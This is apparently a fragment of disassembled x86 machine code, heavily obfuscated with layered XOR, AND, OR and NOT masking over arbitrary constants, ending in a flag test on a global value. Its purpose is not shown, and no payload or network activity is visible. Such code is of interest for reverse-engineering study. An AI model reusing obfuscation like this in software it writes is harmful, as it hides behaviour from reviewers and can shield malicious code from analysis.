xor edi, 0x6ab68097
mov dword [esp + 0x20], edi
and edi, 0x84c6194
and ecx, 0xa0809421
or ecx, edi
mov edi, ecx
xor edi, 0x421
or edi, 0x52310800
xor ecx, 0x8446094
and ecx, 0xa8c4f094
and edi, 0x52390d21
or edi, ecx
mov ebx, dword [esp]
mov ecx, ebx
and ecx, 0xa8ccf5b5
and esi, 0x57330a4a
or esi, ecx
xor ebx, esi
and ebx, esi
mov dword [esp], ebx
mov ebx, eax
xor ebx, 0x905387e6
xor eax, 0x4a0c5801
and eax, 0x5a5edc45
mov ecx, ebx
and ecx, 0xa08021b0
or ecx, eax
mov dword [esp + 8], ecx
mov eax, ecx
xor eax, 0xa5a123ba
mov dword [esp + 4], eax
and eax, 0x41859126
and ebx, 0xa8486491
or ebx, eax
mov ecx, edx
xor ecx, 0xbe7a6ed9
and ecx, edx
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0x9d69e465
and ecx, 0x62961b9a
or ecx, ebp
mov dword [esp + 0x24], edx
mov esi, edx
not esi
or edx, 0x41859126
or eax, edx
and edx, 0x9d69e465
mov ebp, esi
and ebp, 0x22120a98
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebx
xor ecx, eax
mov edx, dword [esp + 8]
xor edx, 0x5a5edc45
mov eax, edx
and eax, 0x884a5024
mov ebx, dword [esp + 4]
and ebx, 0x3795addb
or ebx, eax
or edx, esi
and esi, 0xc86a5224
mov eax, dword [esp + 0x24]
and eax, 0x3795addb
or eax, esi
xor eax, ebx
not edx
or edx, eax
not edx
or edx, ecx
mov dword [esp + 8], edx
mov ebp, edi
xor ebp, 0x52390d21
mov dword [esp + 4], ebp
mov edx, edi
xor edx, 0xadc6f2de
xor edi, 0xe8345328
and edi, edx
and ebp, 0xc0a1b4
or ebp, edi
mov eax, dword [esp]
mov ecx, eax
not ecx
mov esi, eax
mov ebx, eax
or esi, 0x45f2a1f6
mov eax, esi
and eax, 0x31f36ec1
mov edi, ecx
and edi, 0x8a0c1008
or edi, eax
mov eax, ebx
xor eax, 0xba0d5e09
and eax, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x31f36ec1
and eax, 0xce0c913e
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ebp
xor eax, esi
mov edi, dword [esp + 4]
mov esi, edi
and esi, 0x280c1514
and edx, 0xc2e3eae9
or edx, esi
mov esi, dword [esp]
or edi, esi
and esi, 0x3d1c1516
and ecx, 0xc2e3eae9
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
not edi
or edi, eax
mov esi, dword [esp + 8]
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xe14ba87f
mov eax, esi
and eax, 0x1eb45780
or eax, edx
not edi
xor eax, 0xe14ba87f
or eax, edi
xor edi, ecx
and edi, esi
mov ecx, edi
mov edi, dword [esp + 0x14]
xor edi, 0x8d1a89db
mov esi, dword [esp + 0x18]
and edi, esi
not eax
or ecx, eax
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x10]
and eax, 0x3cb78cde
and esi, 0xc3487321
or esi, eax
mov edx, dword [esp + 0x20]
mov eax, edx
and eax, 0xc59084bd
mov ecx, dword [esp + 0xc]
and ecx, 0x3a6f7b42
or ecx, eax
mov eax, esi
xor eax, 0x3cb78cde
mov dword [esp], eax
or eax, 0xf201e651
mov dword [esp + 8], esi
xor esi, 0x481020
mov ebx, eax
and ebx, 0x2da0230a
and esi, 0x5e18a4
or esi, ebx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0x2da0230a
and edi, 0xd25fdcf5
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov ebx, ecx
xor ebx, 0x3a6f7b42
mov ebp, ecx
xor ebp, 0xc86e9d13
and ebp, ebx
mov esi, ebp
not esi
mov edi, esi
and edi, 0x36172e21
and ebp, 0xc9e8d1de
or ebp, edi
or edx, 0xdfe19ae
or esi, edx
and edx, 0x36172e21
mov edi, edx
mov edx, dword [esp + 0xc]
and edx, 0xc000c050
or edx, edi
xor edx, ebp
not esi
or esi, edx
mov edi, dword [esp + 8]
xor edi, 0x5321
xor esi, eax
xor ecx, 0xc59084bd
mov edx, dword [esp]
mov eax, edx
and eax, 0xe7c820d2
and edi, 0x1837df2d
or edi, eax
or edx, ecx
and ecx, 0xe7c820d2
and ebx, 0x1837df2d
or ebx, ecx
xor ebx, edi
mov ecx, edx
not ecx
or ecx, ebx
mov eax, ecx
mov edx, ecx
not eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xe9847575
and esi, 0x167b8a8a
or esi, edi
or ecx, edx
and edx, 0xe9847575
and eax, 0x167b8a8a
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xae164165
and eax, ecx
and ecx, 0x51e9be9a
or ecx, edx
mov edx, ecx
xor edx, 0x41288682
xor ecx, 0xae164165
mov esi, eax
not esi
mov edi, ecx
and edi, 0xb2d53838
and edx, 0x4d2ac7c7
or edx, edi
or ecx, esi
and esi, 0xb2d53838
and eax, 0x4d2ac7c7
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x9bbe9361
and eax, 0x64416c9e
or eax, ecx
mov ecx, eax
xor ecx, 0x6416
xor eax, 0x9bbe9361
mov esi, dword [esp + 4]
mov edx, esi
xor edx, eax
and edx, esi
and eax, 0xe44d8be8
and ecx, 0x1bb27417
or ecx, eax
xor ecx, esi
xor ecx, 0xe44d8be8
or ecx, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x18004008
mov eax, ecx
and eax, 0x28c2201
or eax, esi
mov edi, eax
xor edi, 0x80001
xor eax, 0xfd73ddfe
mov esi, ecx
xor esi, 0x1a8c6209
and esi, ecx
mov ebx, esi
not ebx
mov ebp, eax
and ebp, 0x102305a2
and edi, 0x80009
or edi, ebp
or eax, ebx
and ebx, 0x102305a2
and esi, 0x108805d
or esi, ebx
xor esi, edi
not eax
or eax, esi
and eax, 0x112b85ff
mov edi, eax
xor edi, 0x12385f6
mov esi, edx
and esi, 0x112b85ff
and ecx, 0xeed47a00
or ecx, esi
xor edx, ecx
and edx, ecx
xor eax, 0xfedc7a09
mov esi, edx
not esi
and edx, eax
or eax, esi
and esi, edi
or esi, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x6384b59
and esi, 0xf9c7b4a6
or esi, edx
or ecx, eax
and eax, 0xdf7befff
xor eax, esi
xor eax, 0xd943a4a6
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0xa97e8dfa
mov edx, ecx
and edx, 0x56817205
or edx, eax
mov eax, edx
xor eax, 0xa97e8dfb
xor edx, 0x56817204
mov dword [esp], edx
mov edi, esi
mov ebx, esi
mov ebp, esi
and ebp, edx
and eax, ecx
or eax, ebp
and edi, ecx
mov ebp, ecx
and ebx, 0x238a80c2
mov edx, ecx
and ecx, 0xdc757f3d
or ecx, ebx
xor ecx, 0xf1110b5d
or ecx, esi
mov ebx, dword [esp]
xor ebx, eax
and ebx, eax
mov dword [esp], ebx
mov eax, edi
not eax
and ebp, 0xa27b0c7d
and esi, 0x5d84f382
or esi, ebp
or edx, eax
and eax, 0xa27b0c7d
and edi, 0x5d84f382
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
xor eax, 0xd29b8b9f
and eax, edx
mov ebx, ecx
not ebx
mov edx, eax
mov ebp, eax
mov dword [esp + 8], eax
not edx
mov dword [esp + 4], edx
mov eax, ecx
and eax, 0x95955e1c
xor ecx, 0x79259d55
and ecx, ebx
and ebx, 0x6a6aa1e3
or ebx, eax
mov eax, edx
and eax, 0x86da62aa
and ebp, 0x79259d55
or ebp, eax
mov edi, ebx
xor edi, 0x6a6aa1e3
mov edx, ebx
xor edx, 0x134f3cb6
and edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0xfd1ce623
and edx, 0x2e319dc
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xfd1ce623
and ecx, 0x2e319dc
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebp
xor ecx, eax
xor ebx, 0x95955e1c
mov esi, dword [esp + 8]
mov eax, esi
and eax, 0x792332e7
mov edx, dword [esp + 4]
and edx, 0x86dccd18
or edx, eax
or esi, ebx
mov eax, esi
and ebx, 0x792332e7
and edi, 0x86dccd18
or edi, ebx
xor edi, edx
not eax
or eax, edi
mov edx, eax
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x4f441da5
and ecx, 0xb0bbe25a
or ecx, eax
xor ecx, edx
xor ecx, 0xb0bbe25a
or ebp, edx
not ebp
or ebp, ecx
mov ecx, ebp
xor ecx, 0xd29b8b9e
mov ebx, dword [esp]
mov edi, ebx
not edi
mov eax, edi
and eax, 0x22504062
mov esi, ebx
and esi, 0x4c880200
or esi, eax
xor esi, 0x4c880200
mov eax, ebx
xor eax, 0x6ed84262
and eax, ebx
mov edx, ebx
or eax, esi
mov ebx, ebp
xor ebx, 0x2d647461
xor ebp, 0x366c9da
and ebp, ecx
mov esi, ebx
or esi, ebp
not ebp
and ebp, 0x2e02bdbb
and esi, 0xd1fd4244
or esi, ebp
mov dword [esp + 8], esi
mov esi, eax
mov ebp, eax
xor ebp, 0x9127bd9d
mov dword [esp + 0xc], ebp
xor esi, 0x6ed84262
mov dword [esp + 4], esi
mov eax, esi
and eax, 0xa346889f
and ebp, 0x5cb97760
or ebp, eax
and edi, 0x80048002
and edx, 0x2342089d
or edx, edi
mov esi, edx
mov edi, dword [esp + 8]
mov eax, edi
not eax
mov dword [esp], eax
and eax, 0xbbb640c
and edi, 0xf4449bf3
or edi, eax
mov eax, ebx
and eax, 0x86551dd0
and ecx, 0x79aae22f
or ecx, eax
xor ecx, 0xdaec6ab0
xor ebx, ecx
and ebx, ecx
mov dword [esp + 0x10], ebx
not ebp
or ebp, dword [esp + 4]
mov eax, ebp
not eax
mov ecx, esi
xor ecx, 0x2342089d
or ecx, 0x5cb97760
mov edx, eax
xor edx, ecx
and edx, eax
and ebp, 0xce8fb6de
and eax, 0x31704921
or eax, ebp
and ecx, 0xce8fb6de
and esi, 0x21400801
or esi, ecx
xor esi, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xae30a0c2
and edx, 0x51cf5f3d
or edx, eax
mov eax, esi
not eax
or ecx, eax
and eax, 0xae30a0c2
and esi, 0x51cf5f3d
or esi, eax
xor esi, edx
not ecx
or ecx, esi
xor edi, 0x5702136c
or edi, dword [esp]
mov ebx, edi
not ebx
mov edx, ebx
or edx, 0xa3240000
and edx, 0xab3e8002
mov esi, edi
and esi, 0x100074ec
or esi, edx
mov eax, dword [esp + 0x10]
mov ebp, eax
not ebp
mov edx, ebp
or ebp, edi
or edi, 0x81a8002
and edi, 0xab3e8002
and ebx, 0x44c10b11
or ebx, edi
xor ebx, esi
mov edi, eax
mov esi, eax
xor esi, 0x181af4ee
and esi, eax
or edi, 0xe7e50b11
mov eax, edi
and eax, 0x321866c0
and edx, 0x802902e
or edx, eax
mov eax, esi
not eax
or edi, eax
and eax, 0x321866c0
and esi, 0xcde7993f
or esi, eax
xor esi, edx
not edi
or edi, esi
mov eax, edi
xor eax, edi
not eax
and eax, ebx
xor eax, edi
not ebp
or ebp, eax
mov eax, ebp
not eax
or eax, ecx
not ecx
not eax
or ecx, ebp
not ecx
or ecx, eax
mov edx, dword [esp + 4]
and edx, 0x9fa5b87a
mov esi, dword [esp + 0xc]
mov eax, esi
and eax, 0x605a4785
or eax, edx
xor eax, 0x605a4785
mov edx, eax
and edx, 0xd4ea134
and esi, 0xf2b15ecb
or esi, edx
mov edi, esi
mov esi, dword [esp + 8]
mov edx, esi
xor edx, 0x94aa130
xor esi, 0x10105083
and esi, 0x14145087
and edx, 0xebebaf78
or edx, esi
xor edx, edi
xor edx, 0x14145087
or eax, dword [esp]
not eax
or eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0x2d24fe8d
mov edi, eax
and edi, 0xd2db0172
or edi, esi
mov esi, edi
xor esi, 0x80500000
xor edi, 0x2408
or edx, 0x42802438
or edi, 0x2d0809c3
and edi, 0x6f882dfb
and esi, 0x80541004
or esi, edi
and edx, 0x6f882dfb
and eax, 0x1023c200
or eax, edx
xor eax, esi
mov edx, eax
xor edx, 0x1c028a82
xor eax, 0xc2d4343c
mov esi, eax
and esi, 0x23ad6175
and edx, 0xdc529e8a
or edx, esi
xor edx, 0xdc529e8a
or edx, eax
mov eax, ecx
not eax
xor ecx, eax
and ecx, edx
xor ecx, eax
or eax, edx
not eax
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x8a7fe7c2
and eax, ecx
mov esi, edx
or esi, eax
not eax
and eax, 0x7580183d
and esi, 0x8a7fe7c2
or esi, eax
mov eax, edx
and eax, 0xee703aeb
mov edi, ecx
and edi, 0x118fc514
or edi, eax
xor edi, 0x118fc514
mov ebx, edi
xor ebx, edx
and ebx, edi
mov eax, ebx
not eax
mov edi, esi
xor edi, eax
and edi, esi
xor eax, ebx
and eax, esi
xor eax, ebx
mov esi, edi
not esi
mov ebx, eax
not ebx
mov ebp, esi
and ebp, 0x701fd3f5
and edi, 0x8fe02c0a
or edi, ebp
or esi, ebx
and ebx, 0x701fd3f5
and eax, 0x8fe02c0a
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov edi, esi
not edi
mov eax, edi
and eax, esi
mov ebx, eax
not ebx
mov ebp, esi
and ebp, 0xa2a004
and edi, 0x51040000
or edi, ebp
or esi, ebx
and ebx, 0xa2a004
and eax, 0x51040000
or eax, ebx
xor eax, edi
not esi
or esi, eax
or esi, 0xae595ffb
mov eax, esi
not eax
mov edi, eax
and edi, 0xcd799d32
mov ebx, esi
and ebx, 0x328662cd
or ebx, edi
mov edi, ebx
xor edi, 0x20004048
xor ebx, 0x80311000
or eax, 0x90b31081
or ebx, 0x3442730
and ebx, 0x93f737b1
and edi, 0x6c00c84a
or edi, ebx
and eax, 0x93f737b1
and esi, 0x80004
or esi, eax
xor esi, edi
mov eax, esi
xor eax, 0x34c2734
mov ebp, eax
mov dword [esp + 8], eax
xor esi, 0xfcb3d8cb
mov dword [esp], esi
mov edi, edx
and edi, 0x51a6a004
mov eax, ecx
and eax, 0xae595ffb
or eax, edi
and edx, 0x87f59598
and ecx, 0x780a6a67
or ecx, edx
mov edx, ecx
xor edx, 0x8000a27
mov edi, eax
not edi
mov ebx, edi
and ebx, 0x757e7548
and eax, 0x8a818ab7
or eax, ebx
xor ecx, 0x5741508
and ecx, 0x757e7548
and edx, 0x8a818ab7
or edx, ecx
xor edx, eax
not edx
or edx, edi
mov ebx, edx
not ebx
mov eax, esi
and eax, 0x15eb5838
mov ecx, ebp
and ecx, 0xea14a7c7
or ecx, eax
mov eax, ecx
xor eax, 0xca040385
xor ecx, 0x14285808
and ecx, 0x3438fc4a
and eax, 0xcbc703b5
or eax, ecx
mov edi, eax
mov ecx, ebx
mov eax, edx
and eax, 0x1ce39466
and ebx, 0xe31c6b99
or ebx, eax
mov ebp, edx
xor ebx, 0x57503c90
or ebx, edx
mov dword [esp + 0xc], ebx
and edx, 0x93804d10
and ecx, 0x309083
or ecx, edx
mov edx, edi
xor edx, 0x3438fc4a
xor ecx, 0x309083
and ebp, 0x6c4f226c
or ebp, ecx
mov eax, edi
xor eax, 0xcbc703b5
xor edi, 0xef8814ab
mov esi, edi
and edi, edx
mov dword [esp + 0x10], edi
and edx, 0xa8a83206
mov ebx, eax
and ebx, 0x5757cdf9
or ebx, edx
mov ecx, ebp
not ecx
mov dword [esp + 4], ecx
and ecx, 0x6ef4e361
mov edi, ebp
mov dword [esp + 0x24], ebp
and edi, 0x910b1c9e
or edi, ecx
and esi, eax
mov dword [esp + 0x18], esi
mov ecx, edi
xor ecx, 0x910b1c9e
xor edi, 0xb5440b80
and edi, ecx
mov dword [esp + 0x14], edi
or ecx, eax
mov dword [esp + 0x20], ecx
mov edi, eax
xor ebx, 0xe31b9af0
and edi, 0x4bb3a8f6
or edi, ebx
mov eax, dword [esp]
and eax, 0x20c5c294
mov ecx, dword [esp + 8]
and ecx, 0xdf3a3d6b
or ecx, eax
mov esi, ecx
xor esi, 0xdf3a3d6b
xor ecx, 0x44c084
and ecx, 0xd756d1e4
mov eax, esi
and eax, 0x28a92e1b
or eax, ecx
xor eax, 0x631a86ed
and esi, 0xb44c5709
or esi, eax
mov ecx, dword [esp + 4]
or ecx, 0x9028822
and ebp, 0xb4085408
and ecx, 0x9468b23
or ecx, ebp
mov dword [esp], ecx
mov edx, edi
xor edx, 0xe9e57113
mov eax, edx
and eax, edi
mov ebx, edi
mov dword [esp + 0x38], edi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xe125b04a
and eax, 0x1eda4fb5
or eax, ecx
not ebx
and edx, ebx
mov ecx, edx
not ecx
or edi, ecx
and ecx, 0xe125b04a
and edx, 0x1eda4fb5
or edx, ecx
xor edx, eax
not edi
or edi, edx
mov eax, esi
xor eax, 0xe9e57113
and eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa85d74ba
and eax, 0x57a28b45
or eax, edx
mov edx, esi
not edx
mov dword [esp + 8], edx
mov edx, esi
or edx, 0x161a8eec
or ecx, edx
and edx, 0xa85d74ba
mov ebp, dword [esp + 8]
and ebp, 0x41a00101
or ebp, edx
xor ebp, eax
not ecx
or ecx, ebp
mov eax, ecx
xor eax, ecx
not eax
and eax, edi
xor eax, ecx
mov ecx, ebx
and ecx, 0x9637d541
mov edx, dword [esp + 0x38]
and edx, 0x69c82abe
or edx, ecx
mov ecx, dword [esp + 8]
or ebx, ecx
and ecx, 0x9637d541
and esi, 0x69c82abe
or esi, ecx
xor esi, edx
not ebx
or ebx, esi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x38589d33
and eax, 0xc7a762cc
or eax, ecx
xor eax, ebx
or esi, ebx
xor eax, 0xc7a762cc
not esi
or esi, eax
mov edx, dword [esp]
mov ecx, edx
xor ecx, 0x9468b23
mov eax, edx
xor eax, 0xc0212084
and eax, 0xc0272aa4
xor edx, 0xa4481200
and edx, ecx
mov ebp, edx
and ecx, 0x34485509
or ecx, eax
mov eax, dword [esp + 0xc]
mov edx, eax
not edx
and eax, 0xb19be246
mov edi, edx
and edi, 0x4e641db9
or edi, eax
mov ebx, ecx
xor ebx, 0x3fd8d55b
mov eax, ecx
xor eax, 0x25ba1355
and eax, ebx
or ebp, eax
mov dword [esp], ebp
mov ebp, edi
xor ebp, 0x4e641db9
mov eax, ebp
and eax, 0xe59d39f1
and edx, 0x1a62c60e
or edx, eax
mov eax, edx
xor eax, edx
not eax
and eax, dword [esp]
xor eax, edx
xor ecx, 0xc0272aa4
mov edx, ecx
and edx, 0x244e0d29
and ebx, 0x9891f2d6
or ebx, edx
xor edi, 0xb19be246
or ecx, edi
and edi, 0x676e0d29
and ebp, 0x9891f2d6
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, eax
not edx
mov edi, edx
and edi, 0x7c2907cc
and eax, 0x83d6f833
or eax, edi
mov edi, ecx
not edi
or edx, ecx
and ecx, 0x7c2907cc
and edi, 0x83d6f833
or edi, ecx
xor edi, eax
not edx
or edx, edi
mov ecx, edx
not ecx
mov edi, edx
xor edi, 0x23eb9d1c
and ecx, edi
and edi, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xe75fb492
and ecx, 0x18a04b6d
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0xe75fb492
and edi, 0x18a04b6d
or edi, edx
xor edi, ecx
not eax
or eax, edi
xor eax, esi
mov ebp, eax
mov eax, dword [esp + 0x18]
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x9a65d5e0
and eax, 0x659a2a1f
or eax, ecx
mov esi, eax
mov eax, dword [esp + 0x10]
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x9a65d5e0
and eax, 0x659a2a1f
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, dword [esp + 0x14]
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x5cfbd98d
and eax, 0xa3042672
or eax, ecx
mov edi, eax
mov ecx, dword [esp + 4]
or ecx, 0xdbb0e8e1
or esi, ecx
and ecx, 0x5cfbd98d
mov eax, dword [esp + 0x24]
and eax, 0x20040612
or eax, ecx
mov ebx, ebp
xor ebx, 0x23eb9d1c
xor eax, edi
not esi
or esi, eax
xor esi, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0xb481124d
and esi, 0x4b7eedb2
or esi, edi
mov eax, dword [esp + 0x20]
xor esi, eax
xor esi, 0x4b7eedb2
or edx, eax
not edx
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edi, 0xc2008022
mov eax, esi
or eax, 0x30841045
and edi, 0xf2849067
and esi, 0xc314608
or esi, edi
and eax, 0xf2849067
and edx, 0x14a2990
or edx, eax
xor edx, esi
mov esi, edx
xor esi, 0x1488932
xor edx, 0x3ca0460c
and edx, 0xfea2668c
and esi, 0x15d9973
or esi, edx
mov edx, esi
xor edx, 0xfea2668c
mov edi, ebp
xor edi, 0xdc1462e3
mov dword [esp], edi
and edi, 0x959964cd
mov eax, ebx
and eax, 0x6a669b32
or eax, edi
mov dword [esp + 4], eax
mov ebp, edx
or ebp, 0x6a669b32
mov ecx, esi
xor ecx, 0x1080001
mov edi, ebp
and edi, 0xf6d5ed40
and ecx, 0x108008d
or ecx, edi
mov edi, esi
xor esi, 0x6b3b0241
and esi, edx
mov eax, esi
not eax
or ebp, eax
and eax, 0xf6d5ed40
and esi, 0x92a12bf
or esi, eax
xor esi, ecx
not ebp
or ebp, esi
mov esi, ebp
xor esi, ebp
not esi
and esi, dword [esp + 4]
xor edi, 0x159800
xor esi, ebp
mov eax, ebx
and eax, 0xafea257b
mov ecx, dword [esp]
and ecx, 0x5015da84
or ecx, eax
or ebx, edx
and edx, 0xafea257b
and edi, 0x5015da84
or edi, edx
xor edi, ecx
not ebx
or ebx, edi
not ebx
or ebx, esi
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x11f0938a
mov edx, ebx
and edx, 0xee0f6c75
or edx, ecx
xor edx, 0xd9301372
mov ecx, ebx
and ecx, 0xc8c080f8
or ecx, edx
or eax, 0x160b4400
and ebx, 0xc88000e8
and eax, 0x164bc410
or eax, ebx
mov edx, eax
xor edx, 0xe9b43bef
xor eax, edx
xor eax, 0x164bc410
and eax, ecx
or ecx, edx
not ecx
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x905a024c
mov esi, ecx
or esi, 0x5818132
and edx, 0x95db837e
and ecx, 0x68240480
or ecx, edx
and esi, 0x95db837e
and eax, 0x2007801
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0xf4c3a54e
xor eax, 0xb3c5ab1
mov edx, eax
and edx, ecx
mov esi, edx
not esi
mov edi, ecx
and edi, 0x22445fb5
and eax, 0xddbba04a
or eax, edi
or ecx, esi
and esi, 0x22445fb5
and edx, 0xddbba04a
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x8c6b8d63
and eax, 0x7394729c
or eax, ecx
mov ecx, eax
xor ecx, 0x844b0d42
xor eax, 0x32940200
and eax, 0x3ab48221
and ecx, 0xc54b7dde
or ecx, eax
mov eax, ecx
xor eax, 0x40426c02
xor ecx, 0x22140220
and ecx, 0xa71d13fc
and eax, 0x58e2ec03
or eax, ecx
mov esi, eax
xor esi, 0xa71d13fc
xor eax, 0x58e2ec03
mov ecx, eax
and ecx, 0x9551040
mov edi, esi
and edi, 0x36008114
or edi, ecx
xor edi, 0x36008114
mov edx, eax
and edx, 0xc0aa6eab
or edx, edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xe8593622
mov edi, edx
and edi, 0x17a6c9dd
or edi, ebx
xor edi, 0xfd7a0268
or edi, ecx
and esi, 0x3c181165
mov ebx, eax
and ebx, 0xc3e7ee9a
or ebx, esi
xor ebx, 0x293b252f
and eax, 0x1523344a
or eax, ebx
mov esi, edi
or esi, eax
not esi
xor eax, edi
or eax, esi
xor eax, 0x1523344a
mov esi, ecx
and esi, 0x5525ddd
mov edi, edx
and edi, 0xfaada222
or edi, esi
and edx, 0x5525ddd
and ecx, 0xfaada222
or ecx, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x25bd3b2a
and esi, 0xda42c4d5
or esi, ecx
mov edx, esi
xor edx, 0x40c0d5
xor esi, 0x99290a
and esi, 0xda9b2d0a
and edx, 0x2564d2f5
or edx, esi
mov ecx, edx
xor ecx, 0x481a2c02
xor edx, 0x564c295
and edx, 0x97e5c39d
and ecx, 0x681a3c62
or ecx, edx
mov esi, ecx
xor esi, 0x681a3c62
xor ecx, 0x97e5c39d
mov edx, eax
xor edx, ecx
and edx, eax
xor ecx, esi
and ecx, eax
xor ecx, esi
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x52a30f61
and edx, 0xad5cf09e
or edx, edi
or eax, esi
and esi, 0x52a30f61
and ecx, 0xad5cf09e
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x25b17496
and eax, 0xda4e8b69
or eax, ecx
mov ecx, eax
xor ecx, 0xda4e8b69
xor eax, 0x25b17496
mov edx, eax
and edx, ecx
and eax, 0x8ae6c1ae
and ecx, 0x75193e51
or ecx, eax
mov esi, ecx
xor esi, 0x8c0c02e
mov eax, edx
not eax
xor ecx, 0x75193e51
mov edi, eax
and edi, 0x932701c1
and edx, 0x6cd8fe3e
or edx, edi
or eax, ecx
and ecx, 0x932701c1
and esi, 0x6cd8fe3e
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x26404600
mov edx, eax
and edx, 0x903f00da
or edx, ecx
xor edx, 0x903f00da
mov ecx, eax
xor ecx, 0xb67f46da
and ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0xb46b0012
and esi, 0x3d1210c7
and eax, 0xc2edef38
or eax, esi
mov esi, eax
xor esi, 0x80e92910
xor ecx, 0x4980b925
mov edi, ecx
and edi, 0x4314c6e8
and edx, 0xbceb3917
or edx, edi
xor eax, 0x11000c0
and eax, 0x4314c6e8
and esi, 0xbceb3917
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
sete bh
setne ch
cmp dword [0x1004f90c], 0xa
setge cl
mov edx, ecx
inc dl
mov eax, edx
and al, cl
xor al, 1
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov byte [esp], ah
mov dh, ah
and dh, dl
xor dh, 1
mov al, ah
xor al, dh
or ah, dh
xor ah, 1
or ah, al
mov al, dh
mov byte [esp + 4], dl
xor al, dl
or dh, dl
xor dh, 1
or dh, al
mov byte [esp + 8], dh
mov al, dh
xor al, 1
mov dl, al
and dl, dh
xor dl, 1
or dl, dh
xor dl, 1
or dl, al
mov cl, dl
xor cl, 1
mov al, ch
xor al, bh
and cl, dl
xor cl, 1
mov bl, dl
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov bl, cl
and bl, dl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov cl, bh
mov dh, bh
and cl, al
mov dl, ch
xor dl, cl
or cl, ch
mov byte [esp + 0xc], ch
xor cl, 1
or cl, dl
mov dl, al
xor dl, 1
mov bh, dl
and bh, al
xor bh, 1
or bh, al
xor bh, 1
or bh, dl
xor bh, ch
mov dl, bh
xor dl, 1
mov al, bh
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, bh
xor bh, cl
and bh, cl
xor dl, cl
xor cl, 1
mov ch, cl
xor ch, al
or al, cl
and al, ch
or dl, bh
mov ecx, edx
xor cl, 1
mov ch, al
xor ch, 1
and cl, ch
and al, dl
or al, cl
or ch, dl
xor al, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov bh, bl
xor bh, 1
and bh, bl
xor bh, 1
mov dl, bh
xor dl, bl
or bh, bl
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
and bh, dl
xor bh, 1
mov ch, bh
xor ch, dl
or bh, dl
mov bl, dh
xor bh, 1
or bh, ch
xor bh, al
mov ch, byte [esp]
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
xor ah, 1
mov dl, byte [esp + 4]
mov al, dl
xor al, ah
or dl, ah
xor dl, 1
or dl, al
and al, ah
or ah, ch
xor ah, 1
or ah, al
xor ah, 1
mov ch, ah
xor ch, dl
or ah, dl
mov al, dh
xor ah, 1
or ah, ch
mov dl, ah
xor dl, 1
xor dh, dl
or al, dl
xor al, 1
or al, dh
movzx ecx, byte [esp + 4]
or cl, bl
mov ch, bl
and ch, dl
mov bl, byte [esp + 0xc]
and ah, bl
or ah, ch
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
and dl, al
xor al, 1
mov ch, al
xor ch, ah
and ch, al
and ah, al
or ah, dl
or ah, ch
xor byte [esp], bl
mov al, byte [esp + 8]
xor al, bl
mov ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov dh, al
and dh, ch
xor dh, 1
mov dl, dh
xor dl, ch
or dh, ch
mov bl, bh
xor bl, 1
xor dh, 1
or dh, dl
movzx ecx, byte [esp]
mov dl, cl
xor dl, 1
and dl, dh
xor dh, 1
and dh, cl
or dh, dl
mov dl, cl
xor dl, al
or al, cl
